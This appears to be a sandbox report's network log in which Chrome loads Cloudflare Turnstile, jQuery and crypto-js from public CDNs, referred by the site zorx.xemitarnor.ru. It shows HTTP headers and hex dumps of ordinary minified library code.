2025-01-15 12:08:17 UTC	650	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zorx.xemitarnor.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:17 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 15 Jan 2025 12:08:17 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 9025c016aea232fc-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49781	104.18.95.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:18 UTC	649	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://zorx.xemitarnor.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:18 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9025c01a7ca943f9-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function jt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 49 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Ie;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 64 61 72 6b 22 2c 22 6c 69 67 68 74 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 39 65 35 7d 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 33 36 65 34 7d 76 61 72 20 49 72 3d 2f 5e 5b 30 2d 39 41 2d 5a 61 2d 7a 5f 2d 5d 7b 33 2c Data Ascii: OM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function it(e){return M(["auto","dark","light"],e)}function ot(e){return M(["auto","never"],e)}function ct(e){return e>0&&e<9e5}function ut(e){return e>0&&e<36e4}var Ir=/^[0-9A-Za-z_-]{3,
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 2c 65 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 68 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 5f 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 22 2c 74 72 3d 38 65 33 2c 45 74 3d 22 70 72 69 76 61 74 65 2d 74 6f 6b 65 6e 22 2c 72 72 3d 33 2c 6e 72 3d 35 30 30 2c 61 72 3d 35 30 30 2c 59 3d 22 22 3b 76 61 72 20 4e 72 3d 5b 22 62 67 2d 62 67 22 2c 22 64 61 2d 64 6b 22 2c 22 64 65 2d 64 65 22 2c 22 65 6c 2d 67 72 22 2c 22 6a 61 2d 6a 70 22 2c 22 6d 73 2d 6d 79 22 2c 22 72 75 2d 72 75 22 2c 22 73 6b 2d 73 6b 22 2c 22 73 6c 2d 73 69 22 2c 22 73 72 2d 62 61 22 2c 22 74 6c 2d 70 68 22 2c 22 75 6b 2d 75 61 22 5d 2c 6b Data Ascii: ,er=".g-recaptcha",ht="cf_challenge_response",_t="cf-turnstile-response",bt="g-recaptcha-response",tr=8e3,Et="private-token",rr=3,nr=500,ar=500,Y="";var Nr=["bg-bg","da-dk","de-de","el-gr","ja-jp","ms-my","ru-ru","sk-sk","sl-si","sr-ba","tl-ph","uk-ua"],k
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f 22 35 30 30 70 78 22 3a 6e 3f 22 34 38 30 70 78 22 3a 72 3f 22 36 35 30 70 78 22 3a 6f 3f 22 35 39 30 70 78 22 3a 22 35 37 30 70 78 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 42 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d Data Ascii: boseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?"500px":n?"480px":r?"650px":o?"590px":"570px"};function Be(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 30 3b 72 65 74 75 72 6e 20 71 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 63 72 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 72 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 6f 29 3b 72 2e 73 65 74 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 53 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 63 65 28 74 Data Ascii: 0;return qe=function(o){if(o===null\|\|!cr(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof r!="undefined"){if(r.has(o))return r.get(o);r.set(o,c)}function c(){return Se(o,arguments,ce(t
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d 65 2e 73 72 63 2c 6e 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 2c 73 72 63 3a 72 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 6e 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 6f 3d 72 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 6e 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 Data Ascii: uld not find Turnstile script tag, some features may not be available",43777);var r=e.src,n={loadedAsync:!1,params:new URLSearchParams,src:r};(e.async\|\|e.defer)&&(n.loadedAsync=!0);var o=r.split("?");return o.length>1&&(n.params=new URLSearchParams(o[1]))
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 2c 45 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 61 64 69 75 73 3d 22 35 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 70 78 22 2c 45 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 3d 22 68 69 64 64 65 6e 22 2c 45 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 3d 22 30 70 78 20 61 75 74 6f 22 3b 76 61 72 20 53 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 53 2e 69 64 3d 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2d 66 72 22 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 68 29 2c 53 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 22 Data Ascii: yle.backgroundColor="#ffffff",E.style.borderRadius="5px",E.style.left="0px",E.style.top="0px",E.style.overflow="hidden",E.style.margin="0px auto";var S=document.createElement("iframe");S.id="".concat(e,"-fr"),S.setAttribute("src",h),S.setAttribute("allow"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49783	151.101.130.137	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:18 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:18 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 15 Jan 2025 12:08:18 GMT Age: 2427425 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740063-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 2 X-Timer: S1736942899.849122,VS0,VE0 Vary: Accept-Encoding
2025-01-15 12:08:18 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-15 12:08:18 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-01-15 12:08:18 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-01-15 12:08:19 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-01-15 12:08:19 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-01-15 12:08:19 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49782	104.17.25.14	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:18 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
